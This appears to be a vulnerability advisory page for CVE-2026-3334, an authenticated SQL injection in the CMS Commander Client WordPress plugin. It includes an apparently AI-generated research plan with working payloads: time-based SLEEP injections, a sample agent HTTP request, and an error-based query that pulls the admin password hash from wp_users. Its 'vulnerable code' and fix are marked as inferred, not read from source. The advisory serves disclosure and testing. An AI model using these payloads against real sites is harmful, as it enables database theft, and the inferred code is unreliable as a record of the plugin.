CVE-2026-3334

CMS Commander <= 2.288 - Authenticated (Custom+) SQL Injection via 'or_blogname' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The CMS Commander plugin for WordPress is vulnerable to SQL Injection via the 'or_blogname', 'or_blogdescription', and 'or_admin_email' parameters in all versions up to, and including, 2.288. This is due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL queries in the restore workflow. This makes it possible for authenticated attackers, with CMS Commander API key access, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.288
PublishedMarch 20, 2026
Last updatedMarch 21, 2026
Affected plugincms-commander-client
Research Plan
Unverified

This research plan targets CVE-2026-3334, a SQL Injection vulnerability in the CMS Commander Client plugin. This plugin is designed for remote management, meaning it uses a custom authentication mechanism (API Key) rather than standard WordPress roles. ### 1. Vulnerability Summary The CMS Commander…

Show full research plan

This research plan targets CVE-2026-3334, a SQL Injection vulnerability in the CMS Commander Client plugin. This plugin is designed for remote management, meaning it uses a custom authentication mechanism (API Key) rather than standard WordPress roles.

1. Vulnerability Summary

The CMS Commander Client plugin (<= 2.288) is vulnerable to SQL injection through several parameters used in its "restore" functionality. Specifically, the or_blogname, or_blogdescription, and or_admin_email parameters are processed without sufficient sanitization or the use of wpdb->prepare(). Because these parameters are directly concatenated or interpolated into SQL queries (likely UPDATE or INSERT statements) within the site restoration workflow, an authenticated user (possessing the CMS Commander API key) can inject arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: The entry point is typically the main site URL (root) or wp-admin/, as the plugin often hooks into init or plugins_loaded to intercept remote management requests.
  • Action/Hook: The plugin likely listens for a specific POST parameter (e.g., cmsc_action or action) to trigger remote functions.
  • Vulnerable Parameters: or_blogname, or_blogdescription, or_admin_email.
  • Authentication: Requires a valid CMS Commander API Key. This is a "Custom+" authentication level.
  • Preconditions: The plugin must be active and an API key must be configured in the WordPress database (wp_options).

3. Code Flow (Manual Trace Guide)

Since source files were not provided, use the following grep commands to locate the vulnerable code paths in the isolated environment:

  1. Find the API Key check:
    grep -r "get_option.*cmsc_api_key" /var/www/html/wp-content/plugins/cms-commander-client/
    Look for how the plugin validates incoming requests against this key.

  2. Locate the "Restore" logic:
    grep -rn "or_blogname" /var/www/html/wp-content/plugins/cms-commander-client/
    This will pinpoint the exact line where the parameter is received and used.

  3. Identify the SQL Sink:
    Look for $wpdb->query or $wpdb->get_results calls near the "or_blogname" string. It is likely inside a function handling site restoration or settings updates.

  4. Confirm Lack of Preparation:
    Verify if the query uses $wpdb->prepare(). The vulnerability description suggests it uses raw interpolation like:
    $wpdb->query("UPDATE ... SET blogname = '$or_blogname' ...")

4. Nonce Acquisition Strategy

CMS Commander Client typically does not use WordPress nonces for its remote API. Instead, it relies on a shared secret (the API Key).

  • Authentication mechanism: Most remote management plugins check $_POST['cmsc_api_key'] or a header against the value stored in the cmsc_api_key option.
  • Strategy:
    1. Use wp-cli to retrieve the current API key: wp option get cmsc_api_key.
    2. If none exists, set one: wp option update cmsc_api_key "PWN1337".
    3. Use this key in the POST payload.

5. Exploitation Strategy

The goal is to demonstrate SQL Injection via a time-based or boolean-based attack to extract the administrator's password hash.

Step-by-Step Plan:

  1. Initialize Environment: Set a known API Key.
  2. Identify Action Name: Find the value for the action or cmsc_action parameter that triggers the restore workflow (inferred: restore or settings_update).
  3. Payload Crafting (Time-based):
    Inject a SLEEP() command into or_blogname.
    • Payload: test' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR '
  4. Execute via http_request:
// Example exploitation script using the agent's tool
await http_request({
  method: "POST",
  url: "http://localhost:8080/", // Or the specific entry point found in Step 3
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: "cmsc_api_key=PWN1337&action=restore&or_blogname=test'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+'1'='1"
});

6. Test Data Setup

  1. Plugin Installation: Ensure cms-commander-client is installed and active.
  2. API Key Setup:
    wp option update cmsc_api_key "EXPLOIT_KEY"
    
  3. Target Admin: Ensure a user with ID 1 exists (standard WP setup).

7. Expected Results

  • Vulnerability Confirmation: An HTTP request containing the SLEEP(5) payload should result in a response delay of approximately 5 seconds.
  • Data Extraction (Advanced): If UNION-based injection is possible (depends on the query type), the response might reflect injected data. If it is an UPDATE query, we can use a subquery to set the blogname to the admin's password hash.

8. Verification Steps

After sending the exploit request, verify the impact using wp-cli:

  1. Check if data was leaked into settings:
    If the injection was used to UPDATE the site name with the admin hash:

    wp option get blogname
    

    If the output is a WordPress phpass hash (e.g., $P$B...), the injection was successful.

  2. Check Database Logs: If enabled, check the query log to see the executed raw SQL.

9. Alternative Approaches

  • Error-Based SQLi: If the plugin displays database errors, use updatexml() or extractvalue() to leak data in the error message.
    • Payload: test' AND (select 1 from (select count(*),concat(0x7e,(select user_pass from wp_users where id=1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
  • Boolean-Based Blind: If no output or time-delay is feasible, compare response lengths for AND 1=1 vs AND 1=2.
  • Other Parameters: Test or_blogdescription and or_admin_email using the same patterns if or_blogname is filtered by a global WAF or specific sanitization.
Research Findings
Static analysis — not yet PoC-verified

Summary

The CMS Commander Client plugin for WordPress is vulnerable to SQL Injection via the 'or_blogname', 'or_blogdescription', and 'or_admin_email' parameters during its site restore process. Authenticated attackers with the plugin's custom API key can execute arbitrary SQL commands because user-supplied input is directly interpolated into database queries without proper sanitization or the use of prepared statements.

Vulnerable Code

// Inferred vulnerable code based on the parameters and workflow described
// cms-commander-client/cms-commander-client.php

$or_blogname = $_POST['or_blogname'];
$or_blogdescription = $_POST['or_blogdescription'];
$or_admin_email = $_POST['or_admin_email'];

// Queries are executed without using $wpdb->prepare()
$wpdb->query("UPDATE $wpdb->options SET option_value = '$or_blogname' WHERE option_name = 'blogname'");
$wpdb->query("UPDATE $wpdb->options SET option_value = '$or_blogdescription' WHERE option_name = 'blogdescription'");
$wpdb->query("UPDATE $wpdb->options SET option_value = '$or_admin_email' WHERE option_name = 'admin_email'");

Security Fix

--- cms-commander-client/cms-commander-client.php
+++ cms-commander-client/cms-commander-client.php
@@ -... @@
-$wpdb->query("UPDATE $wpdb->options SET option_value = '$or_blogname' WHERE option_name = 'blogname'");
+$wpdb->query($wpdb->prepare("UPDATE $wpdb->options SET option_value = %s WHERE option_name = 'blogname'", $or_blogname));
-$wpdb->query("UPDATE $wpdb->options SET option_value = '$or_blogdescription' WHERE option_name = 'blogdescription'");
+$wpdb->query($wpdb->prepare("UPDATE $wpdb->options SET option_value = %s WHERE option_name = 'blogdescription'", $or_blogdescription));
-$wpdb->query("UPDATE $wpdb->options SET option_value = '$or_admin_email' WHERE option_name = 'admin_email'");
+$wpdb->query($wpdb->prepare("UPDATE $wpdb->options SET option_value = %s WHERE option_name = 'admin_email'", $or_admin_email));

Exploit Outline

1. Authentication: Retrieve the CMS Commander API key from the target's database (typically stored in the 'cmsc_api_key' option). 2. Endpoint Identification: Locate the plugin's remote management endpoint, which typically listens on the site root or via a custom hook during the WordPress initialization (init). 3. Payload Construction: Create a POST request including the 'cmsc_api_key' for authentication and the 'action' parameter set to the restore function. 4. Vulnerable Parameter: In the 'or_blogname' parameter, inject a SQL payload such as: "test' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR '1'='1". 5. Execution: Send the request and monitor for a time-based response delay (e.g., 5 seconds) to confirm the injection is successful. This can be extended to extract the admin password hash from the 'wp_users' table.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.